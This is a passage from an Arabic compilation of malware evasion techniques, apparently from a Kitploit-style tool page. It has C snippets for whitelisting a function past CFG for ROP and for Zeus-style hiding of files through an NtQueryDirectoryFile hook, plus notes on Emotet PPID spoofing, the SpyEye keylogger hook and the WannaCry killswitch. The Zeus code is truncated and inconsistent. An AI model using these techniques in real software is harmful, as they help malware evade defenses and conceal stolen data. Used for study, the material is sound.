- ROP الذي يستخدم بنية `CONTEXT` سيحتاج إلى `RtlCaptureContext` لاسترجاع السياق الحالي و`NtContinue` لمواصلة تنفيذ الـ ROP مع تمرير بنية `CONTEXT` كوسيطة مملوءة بوسائط الدوال الصحيحة إلى المسجلات الصحيحة. يمكنك أيضًا بناء الـ ROP الخاص بك بلغة التجميع إذا أردت.

### تجاوز CFG باستخدام SetProcessValidCallTargets

هذا ليس تجاوزًا حقيقيًا، لكنه سيضيف الدالة التي تستخدمها في ROP إلى القائمة البيضاء (أي `NtContinue`).```c
CFG_CALL_TARGET_INFO Cfg = { 0 };

Cfg.Offset = ( ULONG_PTR )pAddress - ( ULONG_PTR )Mbi.BaseAddress;
Cfg.Flags  = CFG_CALL_TARGET_VALID;

SetProcessValidCallTargets( ( HANDLE )-1,  Mbi.BaseAddress, Mbi.RegionSize, 1, &Cfg );

البرمجيات الخبيثة/التقنيات المتطورة

انتحال PPID في Emotet

تم اكتشاف هذه التقنية في البرمجية الخبيثة المعروفة Emotet. لتوليد عملية powershell جديدة (تهدف إلى تنفيذ حمولة ما)، تستخدم واجهة برمجة تطبيقات COM مع مثيل WMI. وبهذه الحيلة، تُولَّد عملية powershell كعملية فرعية من عملية WMIPrvSE، وهو أمر أقل إثارة للشك بكثير من توليدها بواسطة ملف exe مشبوه أو حتى ملف Word.

الملفات المخفية في برمجية Zeus الخبيثة

تستخدم البرمجية الخبيثة المعروفة Zeus حيلة بارعة جدًا لإخفاء سجلاتها (ضغطات المفاتيح، كلمات المرور، إلخ) في النظام المخترق. تعترض دالة NtQueryDirectoryFile() لتصفية النتائج المعروضة.```cpp typedef struct _FILE_NAMES_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; ULONG FileNameLength; WCHAR FileName[1]; } FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

if (file_matches) {

// Check for end of list if (pCurrentFileNames->NextEntryOffset == 0) { // Hide current file if (pPrev) pPrevFileNames->NextEntryOffset = 0; else return STATUS_NO_SUCH_FILE;

root@kitploit:~
المصدر : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf


## تقنية خطاف SpyEye لتسجيل ضغطات المفاتيح

يستدعي برنامج SpyEye الخبيث دالة ```TranslateMessage()``` عبر خطاف (hook) لحفظ ضغطات المفاتيح: يستخدم إجراء الخطاف دالة ```GetKeyboardState``` لإضافة الحرف المكتوب إلى مخزن مؤقت بحجم 20000 بايت.

المصدر : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf

## مفتاح إيقاف Wannacry

استخدم برنامج الفدية Wannacry عنوان URL لمفتاح إيقاف (killswitch) يتم حله قبل تنفيذ الحمولة الرئيسية. وبعد تسجيل هذا النطاق، تم تعطيل جميع عينات wannacry. تم توثيق هذه التقنية هنا : https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html
حقيقة طريفة: كان هذا النطاق نصًا صريحًا دون أي تشفير. مضحك جدًا :)
تنزيل الأداة